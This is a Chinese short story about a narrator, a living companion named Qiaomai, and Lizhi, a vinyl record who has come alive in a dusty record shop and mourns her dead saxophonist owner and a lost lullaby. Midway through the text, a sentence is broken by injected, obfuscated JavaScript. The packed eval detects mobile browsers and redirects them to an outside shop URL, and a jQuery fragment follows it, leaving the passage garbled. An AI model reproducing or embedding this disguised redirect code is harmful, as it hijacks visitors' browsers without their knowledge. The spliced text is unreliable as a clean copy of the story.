唱片店里的灰尘很大。
我坐在旧沙发上，荞麦坐在我旁边。沙发的弹簧坏了，坐上去会往一边歪，我不得不把重心靠在扶手上。扶手的皮面裂了好几道口子，露出里面发黄的海绵。海绵已经塌了，按下去以后不会弹回来，留下一个手指形状的凹坑。
梨枝坐在对面。她手里拿着一块布，很旧，看不出原来是什么颜色，大概以前是白的，现在是灰黄的。她用那块布擦一张唱片，动作很慢，从中心往外擦，一圈一圈的，像在画圆。每擦完一圈，她会把唱片转一个角度，继续擦。她的手指很细，指甲修得很短，指腹贴着唱片表面，能感觉到唱片上那些细小的沟槽。
"你带一个人类来干什么？"她擦唱片的手没停，眼睛也没抬。
"她……"荞麦想说什么。
"你让她知道你是什么了？"梨枝打断她。声音的底噪重了一点，像有人把唱针往下压了压。
"嗯。"
"蠢。"
荞麦的嘴瘪了一下，没说话。她把手放在膝盖上，手指互相搓着，像在揉什么东西。我看到她的手指搓了很久，搓得皮肤有点发红。
我开口了。
"我知道她是什么。"
梨枝这才看我。她的眼神很冷。不是愤怒那种冷，是更远的、更安静的冷，像冬天早上窗户玻璃上的霜。你用手去摸，霜会化，但玻璃还是凉的。
"那你知道你是什么吗？"她的声音底噪更重了，像有人把音量调大了一格。"你是她的主人。主人这种东西，今天在明天就不在了。她不该和你走太近。"
我的手指在膝盖上动了一下，无意识地卷起了衣角。卷起来，展开，卷起来，展开。衣角的布料已经被我卷出了一道折痕，洗不掉的那种。
荞麦坐在旁边，我能感觉到她在看我。但我没看她，我看着梨枝手里那张唱片。唱片的表面有细小的划痕，在灰尘里反着光，像一张布满皱纹的脸。有的划痕很深，像被什么尖锐的东西划过。有的很浅，只有在某个角度才能看到。
"我不是她的主人。"我说。
梨枝的手停了一下。很短，大概半秒钟，然后继续擦。她把唱片翻了个面，开始擦背面。
"那是什么？"
我张了张嘴，没说出话来。我不知道我是什么。我是那个把荞麦从杂货铺买回来的人？是那个给她取名字的人？是那个让她住在自己床上的人？是那个半夜被她裹住、拼命挣开、然后蹲在她面前帮她擦脸上水珠的人？
"不知道。"最后我这么说。
梨枝没再问。她擦完那张唱片，放到架子上，拿起一张新的。新的唱片标签上写着什么字，但被灰尘盖住了，她用布角擦了一下标签，露出几个模糊的字。
---
荞麦问她："你还记得你的主人吗？"
梨枝擦唱片的手停了一下。
"记得。"
"他是什么样的人？"
梨枝没回答。她把擦好的唱片放到架子上，拿起一张新的，继续擦。
店里的灰尘在光柱里飘。门口的光从门缝里漏进来，照亮了一小块地面，光的边缘是模糊的，像水墨画里晕开的笔触。架子上的唱片一排一排的，有的标签还能看清，有的已经完全褪色了，只剩一片空白。
"他是一个吹萨克斯的。"梨枝开口了，声音底噪更重，像唱片磨损了。"不是钢琴，是萨克斯。金色的，弯弯的，嘴那里有一个软木片。他吹之前会把软木片含在嘴里润一下，润完了再装上去。"
她停了一下。
"他每天晚上都放我。放完了就睡。他睡觉打呼噜，很大声。"她的嘴角动了一下，不算笑，但嘴角往上翘了一点点。"吵得我头疼。唱片也会头疼，你们知不知道？"
荞麦摇头。我也没说话。
"他放我的时候会闭着眼睛。手搭在唱机的盖子上，手指跟着节奏轻轻敲。他以为没人看到。"梨枝的声音底噪变轻了，像远处的收音机，信号不太好的那种。"但我能感觉到。手指敲在木头上，咚咚咚，每一下都能传到唱片里面。"
"他现在在哪？"荞麦问。
梨枝把唱片放下。动作比刚才重了一点，唱片碰到架子，发出一声很轻的响。响声在安静的店里回荡了一下，很快就消失了。
"死了。十年前。"
店里安静了。灰尘在光柱里继续飘，不紧不慢的。有一颗灰尘落在梨枝的肩膀上，她没有去拍。
"那你为什么还在这里？"
"因为他说过，让我等他回来。"
梨枝的声音很平。像在念一张旧报纸上的天气预报，明天多云转晴，最高温度多少度。
"他不知道我是活的。他只是习惯把我放在床头柜上，每天晚上放一遍。他以为我只是一张唱片。"
"但他让你等他回来。"我开口。
梨枝看了我一眼。
"他临走的时候，对着唱片说了一句话。"她的手指在唱片边缘划了一下，指甲碰到唱片的边，发出很轻的一声响，像敲了一下很小的钟。"他说'等我回来再放你'。"
她把唱片放回架子上，动作很轻。轻到唱片碰到架子的时候几乎没有声音。像在放一个睡着的婴儿。
"他不知道我能听到。"
---
"唱片里是什么曲子？"我问。
梨枝沉默了很久。
店外面的风从门缝里钻进来，吹动了架子最上面的一张唱片，唱片晃了一下，又停了。晃动的时候唱片碰到架子，发出一声很轻的叮，像风铃。
"我不记得了。"
荞麦和我同时看向她。
"我以前记得的。是一首……"她皱了一下眉，眉头中间挤出一道纹路，像唱片上的沟槽。"摇篮曲。他女儿小时候，他吹给她听的。后来录成了唱片，只有一张，全世界只有这一张。"
"他女儿呢？"荞麦问。
梨枝的手停了。
"三岁就生病走了。"
她的声音底噪更重了，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814708|211004||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
像什么东西在磨损，像唱针在唱片上划了太多遍，沟槽变浅了，声音变得模糊了。
"他把那首曲子录下来，放在我身上。全世界只有这一张。他录的时候录了很多遍，每一遍都不满意。有时候录到一半他停下来，对着麦克风发呆，发很久。有时候录完了他放一遍，放着放着就把唱针抬起来了，然后重新录。录到最后一遍的时候，他说了一句话。他说'算了，就这样吧，反正她也听不到了'。"
梨枝说完这句话，沉默了。她的手指在唱片边缘划着，一圈一圈的，像在画一个很小的圆。
荞麦从沙发上滑下来，蹲在梨枝旁边。她没有伸手碰梨枝，只是蹲在那里，歪着头看她。她的眼睛亮亮的，嘴唇抿着，像在忍什么。
"那首曲子好听吗？"荞麦小声问。
梨枝看了她一眼。
"好听。"她的声音底噪轻了一点。"很好听。"
店里又安静了。
"现在呢？"我问。
"现在我不记得旋律了。"梨枝把唱片放下，两只手叠在膝盖上。她的手指互相攥着，攥得很紧，指关节发白。"我只记得最后四个字。"
"哪四个字？"
"'等你睡着。'"
四个字。从她的嘴里说出来的时候，带着底噪，沙沙的，像唱针划过唱片的空白区域。但那四个字的发音很清晰，底噪盖不住。
外面的风从门缝里钻进来，架子上有一张唱片微微晃了一下。灰尘在光柱里转。
荞麦的手放在膝盖上，手指不动了。她看着梨枝，眼睛亮亮的，但嘴角没有笑。她的嘴唇动了一下，像想说什么，但没说出来。
我低头看着自己的手。指甲掐进了掌心里。掐得有点深，松开以后掌心留了几个红红的月牙形印子。印子过了一会儿才慢慢消掉。
我没有出声。
"等你睡着。"
四个字。一首摇篮曲，她只记得最后四个字。
旋律没了。歌词没了。乐器没了。录唱片的那个男人已经死了十年了。他的女儿死了更久。
只剩结尾。
像一本被撕掉了所有内页的书，只剩下最后一页的最后一行。
我站起来，走到门口。门缝里漏进来的光照在我脚上，暖的。巷子外面有人在说话，声音远远的，听不清内容，只有断断续续的音节飘进来。
我回头看了一眼梨枝。她又拿起了一张唱片，继续擦。动作和刚才一样慢，一圈一圈的，从中心往外。她的脸上没什么表情，但她的手在唱片上划过的速度比刚才慢了一点。像在拖延什么。
荞麦坐在沙发上，看着她。她的头歪着，像在听什么很远的声音。
我没有走过去。我站在门口，让那道光落在我脸上，闭了一下眼睛。阳光透过眼皮，红红的，暖暖的。
风从门缝里吹进来，吹动了我的头发。
那四个字在我脑子里转。等你睡着。等你睡着。等你睡着。
像一首我从来没有听过的歌。